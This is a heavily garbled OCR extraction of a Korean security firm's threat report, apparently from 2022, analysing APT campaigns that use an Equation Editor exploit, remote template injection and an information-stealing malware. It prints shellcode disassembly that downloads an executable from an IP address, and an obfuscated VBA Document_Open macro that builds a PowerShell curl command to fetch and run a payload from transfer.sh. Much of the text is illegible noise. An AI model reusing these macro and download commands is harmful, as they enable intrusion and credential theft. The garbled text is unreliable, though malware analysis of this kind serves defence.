11882 #1942 015101 Liis0ll BHE/0] QU= ShellCode 7t SEELIC

0012F355
0012F35A
0012F35C
0012F35E
0012F363
0012F368
0012F36A
0012F36B
0012F36eD
0012F3
0012F377

0012F379
0012F37B
0012F380
ON012F2_2
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HEY| T=T2H01 EQNEDT32.EXE 0ff EXlot= CVE-2017-

B8 FCFD7518 mov eax,1875FDFC
25 3DBDCS562 and eax,62C5BD3D
8810 mov edx,dword ptr ds:[eax]
8BOA mov ecx,dword ptr ds: [edx]
B8 707DeCCD mov eax,CD6eC7D70
2D C01526CD sub eax,CD2615C0
8B38 mov edi,dword ptr ds:[eax]
51 push ecx
FFD7 call edi
05 751693AE add eax,AE931675
2D S01593AE sub eax,AE931590
FFEO jmp eax

v 7D 1C jge 12F397
05 BCO54300 add eax,eqnedt22.4305BC
0036 add byte ptr ds:[esi],dh
14 02 adc al.z
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: [esp] 00000000 -
: [esp+4] 0022CEB37 |[L"http://208.67.105.179/victorzx.exe"

: [esp+8] 0012EFSC |L"C:\\Users\\john\\AppData'\Roaming\\victorylohs83.exe"
: [esp+C] 00000000

: [esp+10] 00000000
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Template Injection)2 AE50 £ URL Of|M 2 Oi3 27t ZEHEl dotm IHUS Lz EH&LICH

Wy
Py
]
3
(@]
&

ransfer.sh/get/UWH1MNE/q8vu77 dotm |

(O3 2] fIE & Al AIZ22 CIRZE El=dotm

schemas . openyml formats . org/officebocoment /2006 /relationships fattachedT late"
Target={https:/ transrer.shfcler_)’UNHLNEqu\mJJ' dotm™ TargetMode="Externall"/></Relationships>

[ 3] word T Lf 212 BB olxid 3=

=l QIMM 7= (Remote Template Injection)2 &K RESQ! .docx I LHofl= DHE 27t ZEtE|]

|
UX| e7| =20l A HRIZS Rl 4= 7| =20l SHXS0| 22 Bo| o4Eoh= 32 LH &
SHLILICE.

Li2{22 dotm Of= CiSat 22 A3REI ZHE|0] USLICE

Private Sub Document_Open()
anseyen8 = "b71oi"

rockbottom = "naakslook"

johntherock = "afD5-sh7h7au9sfd"
rickthedi = "d8sasaD70A-43d8sasaB-d8sasaA42-9d8sasad”

rickthedi = Right(Replace(rickthedi, Left(rickthedi, 6), "8"), 18)

nsoufjtrb = Replace(":7b710iC" & anseyen8 & "4D", "b710i", "2")

Set ftkvch = GetObject("New" & nsoufjtrb & Right(Left(johntherock, 5), 3) & rickthedi &
CLng(1.9) & "4B88BAFB" & CInt(8.1))

usa ="C:\U"

anseyen8 = usa & "sers\Pub"

ol6q = anseyend & "lic\489456fd849h849gre.exe"

godknows = Replace("cmd /c pow*anseyen8rs*hanseyensIl/W 01 c*u’rl
htt*ps:/itransfanseyen8r.sh/ganseyen8t/wurdfF/build.anseyen8”xanseyen8 -0 " & ol6q &
"" & 0lBq, "anseyend", "e")

ftkveh.exec godknows

End Sub
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freebl3.dll mozglue.dll msvep140.dil
nss3.dll softokn3.dll sglite3.dll

C&C M H&at A0l 2
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EOZ EAL=Z 2 AEXF AAE] HEH SEIS A|RFSH|CY

0
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HEE %610 ProgramData

- 2Tl HAeN e

F7|(Cookies), =7 |Z(History), XEE|0| U= AEEE (Login Data), ZH[O|E{(Web Data)

ATSK A AR FE

Date, MachinelD, GUID, HWID, Path, Work Dir, Windows, Computer Name, User Name, Display Resolution,

Display Language, Keyboard Languages, Local Time, TimeZone, St=20{ & (Processor, CPU Count,
RAM, VideoCard), Z2MA FF, MX|E ATEQN 55

O[5f0f|= WInSCP, FileZila &2 FTP Z2732| MH Tronium, Trust Wallet, bitwarden, Hashpack &2
}M9|.]11| I[E_IEH =21 x"EEE ol']}-” Ax|5l|_||;h

ESTSEEIH’H}‘ CopyrlahtE2022 ESTse reserved

curity Corpoall rights

41



IIUSS ot%3101 116.202.6[]206 2 FABILICH

Y

0|

Ol

). Cookies

). Downloads

| Files

J. History

__| information.txt
=/ screenshot.jpg

(= 8]

OAHYUS Eolf AMHACT XKHOZE QUL Q=

ESTSt:run'ty Copyright®2022 ESTsecurity Corp_all rights reserved

M £l etzk[H FHIf SEEQ! StHE W2 screenshotjpg M=t BlH| F HEL A|AH HEE F|fot

5% 37

g =0

oz =0

oz =06

og =4

S£E 84 8KB
JPEG O[O} X| 272K8B
[ESHE B

42



HE 2lu-QtE ZARKL Cd AERY, &0 B Jt AR i 21

Q| u-ot-=d 8l LS 20| BAts HE7IEE U= O] AZ2#0|H FOX=ME 7t o A=t
5

Olpfet 3L F2 T HIYR ARISIH, HAIE B CetmaLt 43U AR, Chs 2O HalLt £t
A% QIE, WIS R YT F2 S HOPE HBIHE TSP AKo) HIsD UBLICH

doof Al=fL|Ct

A

LR A7t &M[Zfet o2 m|d) AFO|ES| 2 HSO| CHA|Z RAISIO] AF2XES0| Mlelet 2|2 7|20[H |A
= A2Z Ol ¢ELIC.

9IS ofet 4 9l

N

e w])
+
e c
€« c c
Il I LAUI[ | A A2 INss ij}O}iX‘iéf(ﬂ??é g IEYYEMA
Himin International Relations institute [AE e
WRY WY R SE (Largs Atachments)
c £ 2 i
I
+
c * &
74 o OPAPEMATR
T B 510] 2] A 1A l:]
Y ekl 22 Al
P € ce R AN
YOS 7
« c « 03
BU8Y qed ¢ , o
IO an;
weam| U HeEER
gpzc| W AM 2 3 om oo
qeec| ¥ SEOUL NATIONAL UNIVERSITY
| ee
e -
ced O 994 £ NNE APHY T ARE G Lo Yaug
(A
b W8Y 0 @ 2 € (Large Attachments)
1 muos HC IHGUES AL RS IASUY)
Juss e R W ChR 2 (Lange Altachments)
MENY
wENY T 221120 2) w91 331 twp.
Ge2E 95 o nyew 28768
CHRZE Jhs7|2 - 2022123 AR
L
| S qeec 94
CH2EE 7|210| XUP CHREE A ¢ TEUCTH OE2E ABND - 2022125
(At the download penod. you cannol dowriosd the o)
o
o e downiad por you camiot Gowrioad

(02 1] I Ch22E Ho[XIS It Ild HOo[X]|

SR AFEAPL Ol L HR O CIR2E I 28| Al LY AOIERZ HARES ZXS) sUASLICH
AZEl= Old Ho[X|= e i CI22E" HOXME sk MEE oM, LIRZE 7|ets EAIoH
[CHR=E] 30| BZot=s FelafLct

[
rO

O[gA7} Btef [CH2RE] FAE S2I6IH 20I0I5S flth = =S 716h= 7t 2321 S LIEfLt AFF
i

— =]
SHHE AL EE= AR AMTETE HRUEI MS Word DOC 24 I S0| HoX|= & SZXt 2|0 w2}
HElXl= 22 2HRIE|USLICE

LE|= o3t 34 &5 ‘AP A3BI(Smoke Screen)'0|2t HHSIHSLICE.

AR AT AHQI2 A HHS BAT SHAVE =4t MEE 57! M OFR2d0f| Fofeitks 2n|= +4
(o]
AN

HEE HRIEK| FE=S] 001X 2

ESTSGCHH?}‘ Copyrlght@2022 ESTsecurity Corp-All rights reserved 43



0|2 diZle S¢t 7|ZHE 3l A3 = 22, T2 7Y Yl S Soll 20| 28 345t
USLICE ARIAIZI2 H|ZO| 712Z Qe FEE M0 O 7o 52 Ao Zoin Sels ==
X|=eh tHEAQl 24 ARULICE oM AIR0] S=talst 71Ee| JHEXoA| Z217 JHE o|=|E Tldoh= A2

Of 22t OtL|2t, £ A7Re BEX| BEHO| ME AFo| AlH| X|g =22 DOC MM mas ELf S
Foh=s el AL HAEIJUSLICE diE ot 2A= 12 2 15 LK MAS 2SR H=5IR o,
30 THAS| ARH|Z RISHH SHZS Al=sIRELICE

XZ 2 DOC ZA 0| AE|H [FEHX S2{27] F 2H]02k= 7Ht 2F HMXIE 26HFH MS
Qu|A9| 7| 2ot AFRl [FHX ALZ] HE S RTol0 oA 2= 2AlS ATEILICE ARXITt [EHIX
AFE] HES 2 oy MR 27t HA=|7| WhE0]| Zoh= ol2{et ofH0i| H=E(X| Zotof ghL|Ct.

290 A A A

# HTE T 0 oo 2GR

9,
Microsoft Office w;»g
3 x 2~ Ao &l Sl all B :

5 209 A9EE 23 9 0=

cH2 227 R F

—_

SUYRHZ 2UAE SHt2A g2+ YU R
2A|F SHFBHAIZ N, of2Hel 22| E& A 35HM 8. e
Vv Microsoft Office &8 0| 8810 41 ATt B
¢ HEIE TEYBAS stz e
v OBM AT TEYASTHER BYSAID U2 AR HES FYSYL. &%m% .
w29
] L] B - i + 100% 1AHoE  sspgto [F w30 ] 5 i + 80%
[0 2] ARilH| THUE 2RIEE Ok DOC UE 2A{7H Al 3fd
Sot i 2 X|=E 8 S22 A0 Al TI7H SO|H, AloH O 2 =2(2t SNz Z+E HAMIXI
A= FMLICE B3] 22 S3H0l= et=el £ HMHE0| 34 HECZ A8ELN ACH, =L & AHAES
AIEoh= SEHEE A1 U Lt Eot F|ofY oA oF & 7t ZAE TS0l AUSLICE

O|AEAIRE|E[= MEA LAE ofd Mol BX| 7152 KAt Z2f(ALYac) MIS0| 718 HHOIESHACH, mlsH
it XIS 9IS TS ZXIE I7HAO[H IR MIE|Q} SI=QIEfHITISR(KISA) S 2 £XeF ZIZSH|

ESTSGCIH'H}‘ Copyrlght@2022 ESTsecurity Corp-All rights reserved a4



d

ELH O|Q.x|.0| 7HO|I-IEj|. |:I-7| ]I|-°|° olg_-él-_l_ APT _57_1
2 02X} JHRIRETL B7I IUS 0|t APT BZH0| WE|0 AFBAISS| ZIsiLt 2|7 BB C,

O|tHo| YWAHE 32 MU 2A{(docx) TIL=E, £ SHKXSO| XI5 AESH= {4 JHES F2l(Remote
Template Injection) 7|&2 AF2SIELICE

ac6a217d8e2dal31e8c1/dg._.

Ainglili=! =11 =|7f s Aa- |95 S-=-%. EE L 32 £ .
ingLiLl(= bt Pl =-=-"- EE |5 |3 3 ZaLpophaBl| spgcpAaBl JRLFCHA:  spupophaBl 7||_||:|.A
SN A - X, X0 B- V-3 - B B===E =- - vEE |JTHAS  HES A% 2 s
25 P gt C ~Erg
Het AD (EEE AET ¢ HEE YEA2UD 2E= 48
¥ + W & + -
’ '
* + +
4 a 9
£ o K
* + [+
=l = |+
4 , 1.
!
" v

oii 2A TiUS Paypal 0122 AFollM 2213 12 6L 19 Al 26 27 4HEl HOZ #lolE|H, Remote
Template Injection 7|&S At83H 'k22012.c1[]biz/paypal.dotm0ilA St IHEZ7} ZSHE dotm =&AL
BIZE Mg CIREE U ASSiLCY,

[O2! 2] KIS CIREE E|= dotm TiY

'ESTSECH”?}‘ Copyright©2022 ESTsecurity Corp All rights reserved

45



AFEXPZL [ZHX AFE] HES =21 AR 7I5S gdelisotH, AFgAl= Ch3at 22 Mol 20|
S22 E0|M = dotm L o DR =7t ghdstElL|Ct

T 0e016c4f583343afcb03370567fac6a217d8e2dal31c8elf ..

Arol  CIXpl 0|02

PMingLiU(£
A A e x, X7

EW?H B Th A Ao iEvr% m-vﬂ
SUEE n == [F] 5 Ll AEE s
-
A

1o 0|+ « o 2e FOES -

24 2 Inaver.coms 010 :J

3¢ Al inmail.net« 01¢ Gl

40 z} anmail.nets 01C e

5¢ ) ranmail.nete 011 T e

6¢ &} ihmail.neto oL e

7 24 ranmail.nets 01( _|-J

80 k| daum.net+ 01C T e

9¢ = ‘hanmail.nets 010 e

104 o aran.com+ 010 e

114 Bh 1anmail.nete 01¢ e

12+ E ( Yhanmail.nets 01( e

134 o] inmail.nets 01! e

144 ) | thanmail.nete [l e

15+ 24 anmail.nets 011 e

164 =) )anmail.nate 01¢ e

17+ 2 anmail.nets 01C e

184 ) )anmail.nete 0L e

19+ =} pdaum.nets 01C e

204 =) 1anmail.nets 01¢ e

214 2 anmail.nets 01C e

224 = laum.net+ 01¢ e

234 2 Inaver.com+ 01C e

244 A nawver.coms 01¢ T e

25+ = ranmail.nets 01C e -
[ - »
v2molx 26078 ctof [ =2oy(rhoh E B - 1 + 100%

[02) 3] 092 4% 3 HOfX|= Si=me

t11, '5645780.c1.biz’0llA] ‘cab’ SHEIXIC| ==l 37t
0|o| ofES BliM|S5t ‘check.bat'E Alshst= F=J}

OI-

paypal.dotm I LHL0l= EAX EEE H2MO= HE
HO|2EE CHREE WOMN 0| FI7I2 CIREE W2
ZSE|0] UELICE

e

_'_

'ESTSECU”?}‘ Copyrlght22022 ESTsecurity CorpAll rights resarned 46



3 % ¢
[22! 4] paypal.dotm L OjFZ A=
@ b Pt 3 @ s index htm.cab - &= - M %
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Bypass 7|HE AMZSICt.

dll"™, IIIIIIII %Num® "%~dpl\trap.bat"

O\wpnprv32.dll"”, IIIITIIII %Mum% "%-~dpO\trap.bat"
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